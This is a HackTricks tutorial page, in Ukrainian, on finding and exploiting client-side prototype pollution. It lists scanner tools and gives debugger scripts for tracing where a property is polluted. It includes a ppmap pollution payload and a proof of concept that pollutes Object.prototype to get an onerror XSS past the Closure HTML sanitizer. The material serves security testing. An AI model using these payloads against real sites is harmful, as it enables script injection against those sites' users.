Пошкодження прототипу на стороні клієнта
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Виявлення за допомогою автоматичних інструментів
Інструменти https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap та https://github.com/kosmosec/proto-find можна використовувати для виявлення вразливостей прототипного забруднення.
Крім того, ви також можете використовувати розширення браузера PPScan для автоматичного сканування сторінок, до яких ви доступаєте, на наявність вразливостей прототипного забруднення.
Налагодження, де використовується властивість
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})
Виявлення корінної причини забруднення прототипу
Якщо вразливість забруднення прототипу була виявлена будь-яким з інструментів, і якщо код не є надто складним, ви можете знайти вразливість, шукаючи ключові слова, такі як location.hash
, decodeURIComponent
або location.search
у Chrome Developer Tools. Цей підхід дозволяє точно визначити вразливу частину JavaScript-коду.
Для більших і складніших кодових баз простий метод виявлення вразливого коду включає наступні кроки:
- Використовуйте інструмент для виявлення вразливості та отримайте payload, призначений для встановлення властивості в конструкторі. Приклад, наданий ppmap, може виглядати так:
constructor[prototype][ppmap]=reserved
. - Встановіть точку зупинки на першому рядку JavaScript-коду, який буде виконуватись на сторінці. Оновіть сторінку з payload, призупинивши виконання на цій точці зупинки.
- Поки виконання JavaScript призупинено, виконайте наступний скрипт у консолі JS. Цей скрипт сигналізуватиме, коли властивість 'ppmap' буде створена, що допоможе в її виявленні:
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]
Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}
debugAccess(Object.prototype, "ppmap")
- Перейдіть назад на вкладку Sources і виберіть “Resume script execution”. JavaScript продовжить виконання, і властивість 'ppmap' буде забруднена, як і очікувалося. Використання наданого фрагмента полегшує визначення точного місця, де властивість 'ppmap' забруднена. Переглядаючи Call Stack, можна спостерігати різні стеки, де відбулося забруднення.
При виборі, який стек досліджувати, часто корисно націлюватися на стеки, пов'язані з файлами бібліотек JavaScript, оскільки забруднення прототипів часто відбувається в цих бібліотеках. Визначте відповідний стек, перевіривши його прив'язку до файлів бібліотек (видно з правого боку, подібно до зображення, наданого для орієнтира). У випадках з кількома стеками, такими як ті, що на рядках 4 і 6, логічним вибором є стек на рядку 4, оскільки він представляє початкове забруднення і, отже, корінь вразливості. Клікнувши на стек, ви перейдете до вразливого коду.
Знаходження скриптових гаджетів
Гаджет — це код, який буде зловживатися після виявлення вразливості PP.
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
Посилання
- https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746
- https://blog.s1r1us.ninja/research/PP
- https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.